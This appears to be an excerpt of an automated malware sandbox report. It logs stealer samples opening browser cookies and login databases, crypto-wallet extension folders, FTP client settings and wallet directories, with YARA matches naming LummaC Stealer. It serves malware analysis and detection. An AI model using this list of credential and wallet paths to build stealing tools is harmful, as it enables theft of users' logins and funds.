Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Lipras\pdf.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Lipras\pdf.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Lipras\pdf.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Lipras\pdf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Lipras\pdf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Lipras\pdf.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Lipras\pdf.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Lipras\pdf.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Lipras\pdf.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB

Source: Yara match	File source: 00000024.00000003.3140442773.000000000153E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2974221660.0000000001468000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.3010756627.0000000001468000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2987847015.0000000001468000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2889027926.00000000006D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.3013020839.0000000001468000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2976676095.0000000001468000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2976425232.0000000001468000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.3013381899.0000000001468000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2889531555.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.3030153241.0000000001468000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d816f1d41e.exe PID: 7100, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d816f1d41e.exe PID: 4280, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: d40e036167.exe PID: 5948, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d816f1d41e.exe PID: 7100, type: MEMORYSTR
